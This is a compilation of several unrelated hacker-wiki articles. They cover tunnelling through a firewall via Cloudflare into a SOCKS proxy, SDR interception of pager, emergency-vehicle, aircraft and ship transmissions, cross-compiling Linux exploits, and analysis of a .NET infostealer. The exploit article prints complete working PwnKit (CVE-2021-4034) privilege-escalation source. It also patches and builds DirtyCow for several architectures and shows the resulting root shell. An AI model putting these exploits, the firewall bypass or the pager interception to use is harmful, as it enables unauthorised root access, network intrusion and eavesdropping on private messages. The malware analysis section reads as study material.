Example 2:

A more advanced method is to add a Socks5 Proxy to the chain of tunnels. This will allow us to access ANYTHING from our workstation: That's any host within the LAN and any host on the Internet.

The Gost tool supports WS and Socks5 and is used instead of websocat and microsocks.

On the server behind the firewall:

gost -L mws://:40009 &
cloudflared tunnel --url http://localhost:40009 --no-autoupdate

On your workstation:

gost -L :1080 -F 'mwss://<YourUrlFromAbove>.trycloudflare.com:443'

Use some tools via the Socks Tunnel (via Cloudflare/Websocket):

### Access ipinfo.io via this tunnel
curl -x socks5h://0 ipinfo.io

### Create a ProxyChains configuration
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf
### SSH to 192.168.1.1 via the tunnel
proxychains -f pc.conf -q ssh root@192.168.1.1
### Use NMAP via our tunnel
proxychains -f pc.conf -q nmap -nF -Pn -sT --open scanme.nmap.org

Notes:

1. Cloudflare's Free Service limits the number of connections. Consider upgrading.

2. We use mwss and mws to enable TCP multiplexing (channelling) via a single TCP connection in Gost. All TCP connections will go via a single CF tunnel (and a single Websocket-request).

3. We use wss (with TLS) on the workstation but just ws (without TLS) on the server. This is because Cloudflare is the Edge-Server and the TLS connection stops there. Cloudflare then re-encrypts the data to send it via Cloudflared to our server. A Cloudflare tunnel is never (!) End-2-End encrypted: Use SSH or other encrypted tools if you do not trust CloudFlare (as they can read your data).

All examples from this article were tested on Segfault's Disposable Root Servers.

Thank you to EMX for proofreading.

Like to publish an article? Send us what you got. We will review and help you improve your article and then publish it here.

Join us on Telegram: https://t.me/thcorg

0x00 Preface

Having started my journey w/ Linux and SDR in 2012, back then I had to manually compile lots of stuff, sometimes including a dependency hell. Still, there was already alot going on - a growing codebase from the GNU Radio project combined w/ OsmoCom code and a cheap and easily affordable Realtek chipset based DVB-T receiver already opened up a whole world of possibilities. I later on bought a HackRF One and there also was the rad1o badge from the german hacker camp in 2015, both offering a even broader frequency range of up to 4 or 6 GHz as well as transceiver capabilities.

0x01 H/W

I recently got ahold of NESDR SMArTee v2 and NESDR SMArT XDR receivers at a friendly hackerspace and wanted to dive a little bit deeper into the world of radiowave reconnaissance. Both devices have a RTL2832U Demodulator/USB interface IC, the v2 has a R820T2 tuner and the XDR a E4000 tuner. They are also physically designed to fit side by side in a RPi device that might be nice to place e.g. in the attic or at some other remote location. In general, you can just look for "RTL SDR" at your favorite shopping site and you will find lots of cheap alternatives to the H/W mentioned above.

0x02 S/W

Running Debian GNU/Linux on nearly all of my computational devices, I started from scratch to setup the S/W and tools required to actually use the RTL-SDR devices, which turned out to be as simple as never before. Basically, all I had to do was installing a few required packages along w/ their automatic dependencies via apt:

sudo apt install gqrx-sdr multimon-ng sox rtl-433 cubicsdr librtlsdr-dev opencpn -y

as well as some more specific tools via python pip:

pip install --user pyModeS pyrtlsdr

and via git:

git clone https://github.com/TLeconte/acarsdec.git (for ACARS)

git clone https://github.com/jvde-github/AIS-catcher.git (for AIS)

0x03 POCSAG

After having built and/or installed all required S/W, recon got started by firing up gqrx on the lookout for data transmitted over the air, and the first thing I stumbled upon was a periodical broadcast of data that distantly remembered me of the old modem era, and which - after some research - turned out to be one or another form of POCSAG. This protocol is basically used for text paging (yes, skyper xD) all around the globe and wikipedia gives you a quite lengthy list of actual frequencies to play with.

To be able to decode the messages into their (alpha-)numeric format, we already installed multimon-ng and could now pipe the data from gqrx (after having clicked on UDP in the receiver options tab) directly into sox (to convert the raw audio to multimon-ng's native raw format) and then into multimon-ng:

nc -l -u localhost 7355 | sox -t raw -esigned-integer -b 16 -r 48000 - -esigned-integer -b 16 -r 22050 -t raw - | multimon-ng -t raw -a POCSAG512 -a POCSAG1200 -a POCSAG2400 -p --timestamp -

The output might look something like this:

2022-09-08 17:41:49: POCSAG1200: Address: xxxxx Function: 3 Alpha: A: 08.09.22 17:27:18 B165 Anckelmannsplatz NSK (20m) Pegel L089-5.00 mNN Erreicht

The data comes in at bursts every few seconds and includes lots of different information which might be the wet dream of passive information gathering affected hackers.

0x04 FMS FSK

Reading the man page, multimon-ng decodes a bunch of different other radio transmissions, so it might make sense to add more demodulators to be able to spot them in the overwhelming amount of broadcasted data. One of these is FMS which seems to be used to transmit at least some elements of the status of police, ambulance or even governmental agencies (BGS, BKA) cars either going to, arriving at or coming from their place of action. Output received might look like:

2022-09-08 18:04:49: FMS: xxxxxxxxxxxx (d=Rettungsdienst a=Rheinland-Pfalz Ort xxxx=xxx FZG xxxx Status 2=Einrucken/Abbr 1=LST->FZG 0=I (ohneNA,ohneSIGNAL) ) CRC INCORRECT (22)

and seems to also include the state of the car's blue rooftop light and/or siren, which might serve as a form of protocol for their control station as well.

0x05 POCSAG/FMS Recap

Collecting the POCSAG and FMS data over a period of time gives you a nice base for correlation and more recon, e.g. by looking up parts of the messages, certain terms used in them and by checking out different frequencies which might contain a different spectrum of message types. What I saw so far are not only the mentioned messages, but also:

• data from server monitoring
• information about incoming tickets and/or e-mail
• license plate readers at big companie's truck gates
• stock market trading
• uninterruptible power supplies
• detailed messages of ambulance dispatches
• burglary alarms

to name only a few. We also see certain, similar messages either coming from the same POCSAG address or an apparent group of neighboured addresses and are easily able to grep for certain content or addresses as a first step of sorting and inspection. At this point, we can also be pretty sure that we are able to listen to nationwide text paging messages.

0x06 ADS-B

Being curious about what else might be out there, I continued to inspect ADS-B to see if I would be able to receive information similar to the one presented at sites like https://flightradar24.com. ADS-B globally operates mostly at a predefined frequency of 1090MHz. Again, we split the process of displaying relevant data into

• setting the tuner, receiving and collecting the data
• export/pipe that into a sort of decoder

which is why I wrote two skripts:

ADS-B_cap.sh: rtl_adsb | nc -klnvp 8080

This tunes to 1090MHz and exports received data to a netcat listener on port 8080, whereas

ADS-B_view.sh: modeslive --source net --connect localhost 8080 raw

connects to that netcat listener and decodes the data using the modeslive command that we installed via pyModeS earlier.

Output might look similar to:

3c5eec EWG9726_ 50.29134 2.84372 444 1088 148.06

and mostly includes the callsign, GPS positions, groundspeed and so on. There are tons of articles on the internet on how to further visualize such data on a map, looking up the callsigns in a database of actual airplanes etc. which is exactly what sites like flightradar24 do. You can even easily export your own data to their servers to help in painting a more complete overall picture.

0x07 AIS

Living close to a river, I decided to checkout if those ships also emit data, and guess what, their system is called Aeronautical Information Service (AIS) and thanks to more FOSS, we are of course able to receive and decode this as well. This time, we use a standalone binary we installed via git and call it via another script:

AIS.sh: AIS-catcher -u 127.0.0.1 10101 | tee -a AIS.LOG

Output might look like

!AIVDM,2,1,0,A,539dbM400000@K?O3@1=@4AB0PDTh98tpp00000D1@111t000030EAQQ,0*3C ( MSG: 5, REPEAT: 0, MMSI: 211495540)

By using the -u switch, we again open up a UDP service from which we can export collected data to some form of frontend like OpenCPN which plots the found vessels on a map and offers a target query which includes

• the ship's name
• its length
• cargo
• GPS position
• destination
• ETA at destination

AIS seems to have a radius of about 75km and has a rather weak signal strength, but I can imagine that close to the sea you might get some quite interesting results. (Note: Some years ago, rumors spread that somalian pirates were able to choose the vessel based on its cargo, which might be not that far fetched.)

0x08 Sensor Data (SRD/ISM)

The next thing that I was interested in were all these weather stations and their sensor data, and sure enough, we got everything we need already installed.

Some of the ISM bands are located at 433.92MHz, 868MHz (SRD), 315MHz and 915MHz.

Instead of checking weather sites or checking my own analogue or digital thermometer, I could simply receive that informations from some random weather station of another house in proximity:

cat SENSOR_868.sh: rtl_433 -f 868M -s 1024k

resulting in output like:

Battery : 1 Temperature: 16.7 C Humidity : 90 % Wind direction: 14 Wind speed: 0.0 m/s Gust speed: 0.0 m/s Rainfall : 799.8 mm UV : 18 UVI : 0 Light : 1968.0 lux

There are tons of other device decoding protocols implemented of which already most are loaded by default after startup:

Registered 145 out of 175 device decoding protocols [ 1-4 8 11-12 15-17 19-21 23 25-26 29-36 38-60 63 67-71 73-100 102-105 108-116 119 121 124-128 130-149 151-161 163-168 170-175 ]

and which might make it very interesting to scan other frequency ranges for such data as well as do some sort of wardriving.

0x09 Advanced Recon

When running gqrx, it becomes pretty clear that it can only show you a small portion of the radio spectrum, which is perfectly good if you know what you are looking for in a sort of "live" setup. However, if we want to observe a broader area and at the same time cover a greater time period, then we can use the very handy rtl_power utility. I recommend to write different scripts for different purposes, e.g.

RTLPOWER_AIRBAND.sh: rtl_power -f 118M:137M:8k -g 50 -i 10 -e 1h airband.csv

which will monitor the whole airband spectrum in 8KHz steps and save the data every 10 seconds in a CSV file over a period of one hour. To visualize that data, the heatmap.py utility comes into play which we can use in a script like

BUILDMAP.sh: python3 heatmap.py $1.csv $1.png ; display $1.png

to generate a very nice image together w/ a nice scale to identify where transmissions take place.

In the airband case, you will see active radio transmissions by the pilots as bright dots, and this might greatly help you in spotting the active frequencies in your area, which you can then survey live and listen in using NFM modulation.

In the case of POCSAG, the periodically occuring transmits create nice dashed lines which are - depending on the signal strength - also very easy to spot in the resulting image.

0x0A References

• https://www.gnuradio.org/
• https://osmocom.org/projects/rtl-sdr/wiki
• https://gqrx.dk/
• https://github.com/EliasOenal/multimon-ng
• http://sox.sourceforge.net/
• https://github.com/junzis/pyModes
• https://github.com/merbanan/rtl_433
• https://github.com/cjcliffe/CubicSDR
• https://github.com/librtlsdr/librtlsdr
• https://www.opencpn.org/
• https://www.rtl-sdr.com/

0x0B Epilogue

To learn about the things documented here, I used my SDR receivers for ~ 2 weeks besides my normal work. I assume that I will extend and update this knowledge base over time as I consider the whole project work-in-progress.

Shoutz to Skyper/THC for creating this wiki besides having written and still writing great pieces of S/W, the 1nf1n1te v01d crew and Phenoelit (ph-neutral rocked!). It is nice to see a great community of free and open source software developers and hackers spread but still co-working all over the world and participating in global online-events like the rc3.

TL;DR: Use docker & QEMU and gcc -static.

It is not always possible to compile an exploit on the target system. Here at THC we use various methods to compile an exploit in such a situation.

After reading this article you will be able to compile any exploit for any Linux/Architecture regardless of the OS/Architecture you are on.

Compiling statically

This works well for exploits that can be compiled statically and where the target is any Linux and the architecture is identical to our architecture (x86_64).

The standard GNU libc is not suitable for compiling static binaries. Instead we use MUSL libc. The MUSL libc is a C standard library just like GNU's libc. It's smaller, cleaner and easier to handle.

Alpine Linux comes with musl libc. We use Docker to run Alpine Linux.

$ docker run --rm -v $(pwd):/src -w /src -it alpine
/src # apk update && apk add gcc
/src # gcc -Wall -O2 -static -o exploit exploit.c

Cross Compiling statically

This works well for exploits that can be compiled statically and where the target is any Linux and the architecture is DIFFERENT to our architecture (x86_64).

The fine folks at https://musl.cc/ maintain cross-compiler toolchains against MUSL libc for many different architectures.

These toolchains can be used to generate a (static) Linux binary for a different architecture (e.g. arm6v or aarch64).

The MUSL-CC folks also maintain Docker Images with the cross-compiler toolchain: This allows us to cross compile STATIC binaries (for a different architecture) for Linux.

Cross Compiling statically using muslcc & Docker

Let's compile the exploit for CVE-2016-5195 to run on Raspberry PI Linux (armv6l) while our workstation is MacOS (x86_64).

The vulnerability is a local privilege escalation in Linux Kernel <4.8.3.

Firstly, there is a bug in the reference exploit. Let's fix this first:

mkdir thc; cd thc
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
sed  -i 'sX.*= copy_file.*Xint ret = system("cp /etc/passwd /tmp/passwd.bak");X' dirty.c

Next: Compile dirt.c for Linux for armv6 architecture on our MacOS (x84_64):

docker run --rm -v $(pwd):/src -w /src muslcc/x86_64:armv6-linux-musleabi sh -c "gcc -pthread dirty.c -o dirty-exp -lcrypt -static"

The newly created ./dirty-exp binary will execute on a Raspberry Pi Linux (armv6l).

Cross Compiling statically for 5 architectures

Let's script this and compile for 5 different architectures:

for arch in aarch64-linux-musl armv6-linux-musleabi mips-linux-muslsf mips64-linux-musl x86_64-linux-musl; do
   docker run --rm -v $(pwd):/src -w /src muslcc/x86_64:${arch} sh -c "gcc -pthread dirty.c -o dirty-exp.${arch} -lcrypt -static"
done

Most architectures are downward compatible. This means an exploit compiled for arm6 will run fine on arm7 metal. Equally an exploit compiled for i386 (from the 90s) will run fine on x86_64 metal, albeit slow.

$ ls -al dirty-exp.*
-rwxr-xr-x 1 0 0 170664 Aug 30 14:06 dirty-exp.aarch64-linux-musl
-rwxr-xr-x 1 0 0 119280 Aug 30 14:06 dirty-exp.armv6-linux-musleabi
-rwxr-xr-x 1 0 0 210384 Aug 30 14:06 dirty-exp.mips64-linux-musl
-rwxr-xr-x 1 0 0 210692 Aug 30 14:06 dirty-exp.mips-linux-muslsf
-rwxr-xr-x 1 0 0  88312 Aug 30 14:06 dirty-exp.x86_64-linux-musl

All binaries are static binaries. They run on any Linux system regardless of the distribution or Linux flavour (as long as the architecture matches).

Cross compiling statically with additional libraries

Some exploits need additional libraries to compile or have more complex compilation instructions. Let's pick the OpenSSL library as a worst case scenario: A huge and complex library. We use the dirt.c source again even that it does not depend on or need OpenSSL.

Let's start an interactive (-it) muslcc docker shell, download and compile OpenSSL and then compile the exploit for ARM6:

docker run --rm -v $(pwd):/src -w /src -it muslcc/x86_64:armv6-linux-musleabi
apk update \
&& apk add --no-cache bash perl make curl \
&& rm -rf /var/cache/apk/* \
&& curl https://www.openssl.org/source/openssl-1.1.1k.tar.gz | tar -xz \
&& mkdir usr \
&& cd openssl-1.1.1k \
&& ./Configure --prefix=/src/usr no-tests no-dso no-threads no-shared linux-generic64 \
&& make install_sw \
&& cd .. \
&& gcc -I/src/usr/include -L/src/usr/lib -pthread dirty.c -o dirty-exp -lcrypt -lcrypto -lssl -static

Compiling normally

This works well for exploits that can not be compiled statically.

Exploits that can not be static

Some exploits can not be compiled statically.

For example: Exploits that are shared object .so files and which the vulnerable program needs to load during runtime. It is not possible to cross-compile them: The .so files heavily depend on the Application Binary Interface (ABI) of the target system.

The ABI is the reason why you can not just execute a (dynamic) binary from a libmusl system on a libc system or vice versa.

These exploits need to be compiled on the matching OS with matching architecture.

Compiling normally for any Linux/Architecture

In our example we try to compile an exploit that needs a shared library (and thus can not be statically compiled) for aarch64 (aka arm64v8) to run on Amazon Linux 2 (which is based on Centos7 OS).

There are a few methods to pick from:

1. Use an Amazon Linux 2/aarch64 instance.

2. Find a server of the same architecture and use Docker to run Centos7.

3. Use QEMU and Docker to run any OS of any architecture.

Either of the methods will work but only if the target is running Linux.

Method 1 - Using Amazon Linux 2/aarch64

This works well when the target OS and architecture is available to compile the exploit.

AWS has a good selection of Linux flavours (Amazon Linux, Ubuntu, Red Hat, SuSE and Debian) that can run on either x86_64 or aarch64/ARM64 architecture. Mostly we run a t2.nano on the matching architecture and a matching OS to compile exploits. It's the easiest and most straightforward.

Method 2 - Use any aarch64 with Docker running Centos7

This works well when Linux OS is DIFFERENT but the architecture is idendical.

Start a Docker image matching the target's OS. In this example I'm on a aarch64 server running Debian but my exploit needs to be compiled for Amazon Linux 2 (aka Centos7). Both, my architecture and the target's architecture, are aarch64.

$ uname -m
aarch64
$ docker run --rm -v $(pwd):/src -w /src -it centos:centos7
[root@9409baa1861a src]#

Method 3.1 - QEMU and Docker

This works well when the Linux OS is DIFFERENT and the architecture is DIFFERENT.

Docker can run images for different architecture. The execution is emulated by QEMU. The details are not noticeable to the user and 'docker just does it all for you'. Just to list a few: aarch64, arm, ppc64, m68k, sparc64, mips, alpha, ...

Firstly let's prepare Docker to run images of different architectures:

if [ $(uname -m) == "aarch64" ]; then
    docker run --rm --privileged aptman/qus -s -- -p
else
    docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
fi

Then let's run an aarch64 image (aka arm64v8) on our x86_64 host:

$ uname -m
x86_64
$ docker run --rm -it arm64v8/centos
[root@0a0888cd5ea7 /]# uname -m
aarch64

That's aarch64 on our x86_64 host. QEMU and the OS are doing some good magic to make this work. For testing let us start a sleep process inside the running aarch64 docker image. Then we check on our x86_64 host system for the sleep process. It shows that the host's Linux started QEMU as an interpreter for sleep and did not start sleep directly. This means QEMU emulates the architecture:

$ docker run --rm -t arm64v8/centos sleep 1337 &
[1] 4042135
$ ps axw | grep qemu 
4046761 pts/0    Ssl+   0:00 /usr/bin/qemu-aarch64-static /usr/bin/coreutils --coreutils-prog-shebang=sleep /usr/bin/sleep 1337
$

Method 3.2 - Compiling statically without cross-compiler

This works well when the Linux OS is DIFFERENT and the architecture is DIFFERENT but there is no Docker Image for the target's Linux OS. We have no choice but to compile statically.

In this example we like to compile an exploit for Raspberry PI4 that runs on arm32v6. There is no docker image for Raspberry PI4 for arm32v6. Instead there is a docker image for Alpine Linux for arm32v6. We use Alpine/arm32v6 to compile for Raspberry PI4/arm32v6.

The result will be identical as with Cross Compiling statically using muslcc & Docker but without using the cross compiler toolchain (muslcc).

Let's assume we like to compile for armv7 (Raspberry PI4) but not using a cross compiler (muslcc). Instead we can run an Alpine Linux with QEMU on Docker and emulating armv7 (and all this while our host system is MacOS/x86_64):

$ docker run --rm -v $(pwd):/src -w /src -it arm32v6/alpine
/src # uname -m
armv7l
/src # apk update && apk add gcc
/src # gcc -Wall -O2 -static -o exploit exploit.c

Compiling [CVE-2021-4034] for Centos7/aarch64

CVE-2021-4034 (aka polkit/pkexec) is an exploit that can not be compiled statically. The exploit tricks the vulnerable program to load a dynamically shared object (.so file) during runtime. A dynamically shared object can never be static.

Preparing the exploit

The Proof-of-Concept exploit for CVE-2021-4034 needs to be modified slightly. At the moment the exploit executes gcc to compile a shared object on the target. Our assumption is that gcc is not available on the target platform and thus the Proof-of-Concept exploit would fail.

We need to modify the Proof-of-Concept exploit:

1. Split it into two separate .c files.

2. Modify the source to copy the pre-compiled .so file instead of calling gcc at runtime.

3. Compile both .c files separately.

thc-polkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
    system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
    system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
    system("cp pwnkit.so pwnkit/pwnkit.so");
    char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
    execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
    setuid(0); setgid(0);
    seteuid(0); setegid(0);
    system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");
}

Compiling

Any of the 3 methods discussed earlier can be used to compile the exploit. In this example I use QEMU & Docker on my MacOS/x86_64. The exploit will execute (and own) Amazon Linux on aarch64:

$ docker run --rm -v $(pwd):/src -w /src -it arm64v8/centos
[root@0a0888cd5ea7 src]# uname -m
aarch64
[root@0a0888cd5ea7 src]# yum group install "Development Tools"
...
[root@0a0888cd5ea7 src]# gcc --version
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
[root@0a0888cd5ea7 src]#

Compile both source files:

gcc pwnkit.c -o pwnkit.so -shared -fPIC
gcc thc-polkit.c -o thc-polkit

Transfer thc-polkit and pwnkit.so to the target system and execute:

$ ./thc-polkit
# id
uid=0(root) gid=0(root) groups=0(root)
#

Compiling when Distro is End-Of-Life

A good example is Centos6.8. There are two choices: Either install from the original Centos6.8 ISO into a VMBox or make the docker image work. Let's fiddle with the old docker image. Mostly we have to adjust the repo location so that yum can find the old gcc packages:

$ docker run --rm -v $(pwd):/src -w /src -it centos:centos6.8
[root@c28872c1d9bc src]# sed -E -i  's/^(mirrorlist.*)/#\1/g' /etc/yum.repos.d/CentOS-Base.repo
[root@c28872c1d9bc src]# sed -E -i  's/^#(baseurl.*)mirror(.*)/\1vault\2/g' /etc/yum.repos.d/CentOS-Base.repo
[root@c28872c1d9bc src]# yum install gcc
[root@c28872c1d9bc src]# gcc pwnkit.c -o pwnkit.so -shared -fPIC
[root@c28872c1d9bc src]# gcc thc-polkit.c -o thc-polkit

That's it. The exploit will run on Centos6.8/x86_64.

Closing Notes

So what if the target is not Linux? We use VirtualBox. We also run a private research lab with different hosts and architectures (real metal) and different Operating Systems.

There are some exploits that don't run well in Docker, a VirtualBox or QEMU. Namely exploits that rely on precise timing of the underlying hardware. Having a setup for testing that is as close as possible to the target's setup is ideal.

Useful command to find out the target's OS and architecture:

uname -a; lsb_release -a; cat /etc/*release /etc/issue* /proc/version

Summary

1. Docker runs Linux programs of different flavours/distributions on a Linux host's kernel. The architecture must be the same and both must be Linux.

2. Virtual Machines run any Operating Systems (not just Linux) instead of just individual Linux programs. The architecture must be the same.

3. QEMU can 'translate' (emulate) a single program of different architecture and 'run' the program on the host's Kernel. The Operating System must be the same (Linux in our example). We have done so earlier when we configured the host's Kernel (Linux) to fire up QEMU whenever a Linux program of different architecture is trying to get executed. Normally such programs would not run (because they were not compiled for the host's architecture). For ease of use we made this mechanism available through Docker but QEMU is often run without Docker and run directly on the Linux Host. In either case a separate QEMU process is launched for every single program we start.

4. QEMU can also 'translate' (emulate) an OS Kernel in its entirety and simulate the underlying processor. It can 'run' an Operating System Kernel of a different architecture and 'translate' (emulate) every single instruction. This is different to 3. Very different. QEMU can 'boot an OS Kernel' and the Kernel then loads the userland processes (e.g. your shell etc). There is just QEMU process and QEMU is unaware of how many userland program the booted kernel loads.

It's important to understand the difference between 3 and 4 (read QEMU Operating Modes):

QEMU can be used to run a single Linux Program (of different architecture) under Linux. It can also be used to 'boot a kernel' of a different architecture and different Operating System.

For example you can use QEMU to run DOS on an arm64 processor.

An easier example is to run Raspberry PI OS (compiled for armv6l) through QEMU. QEMU boots the entire Raspberry PI Kernel (which then starts the rest of the RPI Operating System): The RPI kernel then starts all userland processes (your shell etc), unbeknown to them that QEMU emulates the underlying processor and unbeknown that QEMU 'translates' every single instruction.

Because QEMU is a bitch to set up we can use Docker to start QEMU to boot a Raspberry PI Kernel (from an .iso image/Install CD). Username/password is pi/raspberry.

$ docker run -it lukechilds/dockerpi
Linux version 4.19.50+ (niklas@ubuntu) (gcc version 9.2.1 20191008 (Ubuntu 9.2.1-9ubuntu2)) #1 Tue Nov 26 01:49:16 CET 2019
CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv7), cr=00c5387d
CPU: VIPT aliasing data cache, unknown instruction cache
OF: fdt: Machine model: ARM Versatile PB
...
[  OK  ] Started /etc/rc.local Compatibility.
[  OK  ] Started Permit User Sessions.
[  OK  ] Started Serial Getty on ttyAMA0.
[  OK  ] Started Getty on tty1.
[  OK  ] Reached target Login Prompts.
[  OK  ] Started Regenerate SSH host keys.

Raspbian GNU/Linux 10 raspberrypi ttyAMA0

raspberrypi login: pi
Password:
Linux raspberrypi 4.19.50+ #1 Tue Nov 26 01:49:16 CET 2019 armv6l
pi@raspberrypi:~$

*Note: I mentioned earlier that Docker is only available for Linux and can only execute Linux programs. However, Docker is available for MacOS and other Operating Systems. In layman's term: Docker-for-Mac effectively runs a minimal 'Linux' in a Virtual Machine (on MacOS) that then runs Docker-for-Linux.

This article deals with the analysis of a common Windows malware that targets users and steals information such as passwords, keystrokes, images from the camera, data saved in the browser, etc. With the right combination of dynamic analysis and static analysis, it is possible to analyse an exploit and derive very interesting information... perhaps to reuse for our own exploits. :smiling_imp:

I analyse a very simple malware by stopping at a static analysis, which therefore does not involve execution of the exploit. The analysis will be done through a disassembler (more on that later) that will allow to 'disassemble' the malware and look inside of it.

Knowledge of assembly language or at least of the language in which the malware is written is usually required, I will provide a brief summary to help close the gap.

x86 assembly primer (or how a CPU works)

Points to remember:

1. In assembly you are given 8-32 global variables of fixed size to work with called 'registers';
2. Among them there are special registers like the program Counter, which tells the CPU which instruction we're executing next. Every time an instruction is executed, the Program Counter advance;
3. Virtually all computation is expressed in terms of simple operations on registers;
4. What doesn't fit into a register lives in memory;
5. Memory is accessed either with loads of and stores at addresses, as if it were a big array, or through PUSH and POP operations on a stack;
6. The stack is a LIFO (Last In First Out) data structure that stores local variables, memory for functions, control flow, return values;
7. There are 9 main registers in x86 assembly:
   1. EAX --> Accummulator (Arithmetic)
   2. EBX --> Base (Pointer to data)
   3. ECX --> Counter
   4. EDX --> Data (Arithmetic and I/O)
   5. ESI --> Source Index (Pointer to source in stream operations)
   6. EDI --> Destination Index (Pointer to destination in stream operations)
   7. EBP --> Base pointer (Pointer to Base of Stack)
   8. ESP --> Stack Pointer (Pointer to Top of Stack)
   9. EIP --> Instruction Pointer (Address of next instruction to execute)
8. There a register called the EFLAGS register. The EFLAGS register is the status register that contains the current state of a x86 CPU. The size and meanings of the flag bits are architecture dependent. It usually reflects the result of arithmetic operations as well as information about restrictions placed on the CPU operation at the current time. Some of these flags are important for malware analysis:
   1. CF --> Carry Flag - Set when the result of an operation is too large for the destination operand;
   2. ZF --> Zero Flag - Set when the result of an operation is equal to zero. This one is probably one of the most important flag to look out for, for example an exploit might check if a machine is 64bit and if it is then it will jump to a certain addres, but if it isn't it will jump to a different address;
   3. SF --> Sign Flag - Set if the result of an operation is negative;
   4. TF --> Trap Flag - Set if step by step debugging (one instruction will be executed at a time;
9. Instructions can be divided into three main categories:
   1. Data Transfer (mov,xchg,etc) --> is used to move, transfer, and access data in registers, memory addresses, etc. {example of a mov operation: mov eax, [edx]};
   2. Control Flow (push,call,jmp,etc) --> used to direct the flow of the program -executing different blocks determined by a variable, calling functions, etc. {example of a push operation: push ecx};
   3. Arithmetic/Logic (xor,and,mul,etc) --> used to perform arithmetic, logical bitwise on registers and values. Also used to compare or test two different values. {example of a compare operation: cmp eax,0}.

Congratulations if you have come this far. I have tried to be as concise and schematic as possible, but bear in mind that assembly is an endless topic. N.B Note that this is only a brief overview and I have omitted a lot of information (some of it very important to understand assembly in depth) such as the heap, segment registers, etc...you are welcome to delve deeper and write to me to discuss further.

Now to the fun part, shall we?

Setting Up a Safe Environment

First of all, we need a secure environment that does not affect our everyday devices and data. We will use virtual machines with FlareVM installed for simplicity. Then a whole series of tools for our analysis such as: Process Monitor, Process Hacker and especially dnSpy as debugger.

Since this is not a course or guide on how to secure yourself, I will not explain the process of setting up these tools. I recommend being very careful and documenting yourself before 'playing' with any malware. All your data is at risk, especially if you touch something you do not know well. The same goes for the analysed file, as it is a real malware, I will not provide information on how to obtain it. Google will be of help to you in case you want to investigate further.

The robber: a .NET Info-Stealer

To put your mind at ease, .NET easily decompiles (unless the code is encrypted but that is a more advanced topic) to source code so there will not be much assembly needed in this analysis. I know I initially said we would only rely on a static analysis but , let's carry out a small, superficial dynamic routine analysis to get the minimum information we need to proceed. BEWARE, IF YOU ARE REPLICATING THIS PROCEDURE AND YOU ARE NOT IN A PROTECTED ENVIRONMENT YOU ARE ABOUT TO INFECT YOUR PC.

Basic dynamic analysis

Let's open Process Hacker and Process Monitor and detonate the malware. In Process Monitor, it is very useful to filter by "Process Name" of the file we are analysing:

If we run the file, we can see that the main interface of Process Monitor will be populated with several entries.

And already here the amount of information that can be extracted becomes enormous... as you can see there are over 469,000 events within seconds of execution. We can filter the output by operations we find interesting. For example, we might want to see only ReadFile operations rather than Registry value queries. At this level, taking a look at the operations it performs (and with a lot of experience behind you) one can make assumptions (not certainties) about what the malware is doing. As for the sample under analysis, considering that it calls many keys from the registry and tries to read many passwords, one could conclude that it is a password stealer. Now, if we move to Process Hacker and click on the process, we can open the thread and see if there are any relevant string in memory.

You can see here on Process Hacker some interesting info such as the hypervisor I was using, other processes in place that have been abused in the past [CVE-2019-1268 doesn't ring a bell?], the Process IDs (PIDs) of the various processes.

Analysing a little looks like is stealing informations from the Thunderbird client, Outlook, Google, Firefox local password files, etc.

As with the assembly section here we have just scratched the surface. Much more specific and in-depth analyses are possible. Finally, we come to the central section: the static analysis of malware.

Malicious source

For this section we will use a decompiler, I chose dnSpy. As always, the tool has its peculiarities, but what interests us is the process and the knowledge we gain from it. Once a certain level of experience is reached, the tool becomes interchangeable. As soon as we load the file into dnSpy we can see that we are presented with a screen with some information about the sample. They concern the description of the file and the title given to it: these are obviously false, to mask what the malware is actually doing.

From here we have two options: open the drop-down menu on the left, or even better, click on the 'Main' in green marked as the entry point and end up at the point where the malware starts to run. We will take this second route. We can see that there are several interesting libraries in the file structure 'InternetDownloadManager', 'Encryption', etc. The main one is inside "GonnyCam".

The last highlighted library is obfuscated, it may therefore contain something sensitive, we will deal with it later.

From what we see GonnyCam is creating several processes before running.The names of these processes are significant..like GetCurrentWindow. If we click on the name of the process, we can go and see what it does. Some of them are empty, probably created with undeveloped functions in mind, such as AddToStartup (for persistence purposes probably). An interesting process to analyse is GonnyCam.RecordKeys.

We can see that keystrokes instead of a file are saved in memory, to be more stealthy. We then see that with Send.SendLog it is sending commands to a Command and Control server and by clicking on P_Link we can see the server to which they are sent, which in this case is hiding behind a fake help-desk.

If we then enter SendLog, we can see that this malware is also slightly inteligent. It sends logs to the command server via post requests and in doing so compares the log values with a defined set. It then checks whether these are passwords, keystrokes, values taken from the clipboard, etc. Depending on their type, the data are classified and saved differently.

There would be much more to see in each of the individual modules present, but let us move on Óµ the obfuscated one. Here we first need de4dot a deobfuscator and unpacker for .NET to make the code readable. Simply feed de4dot the malware file and it will do the job by creating a new cleaned version that we then open once again with dnSpy. Óµ has now been renamed GClass0

Here we can see what is called when the malware is executed, process ids, functions etc. It then creates some api's for KeyBase which is a messaging app. Finally, a part that I will not analyse because I am not an expert enough (I invite others to supplement this article) is the entire encryption and decryption mechanism present in this malware.

References

• https://www.kernelmode.info/forum/
• https://lookbook.cyberjungles.com/random-research-area/malware-analysis-and-development/malware-development
• https://www.crowdstrike.com/cybersecurity-101/malware/malware-analysis/

Author

• In THC Telegram group: @F_ederico1

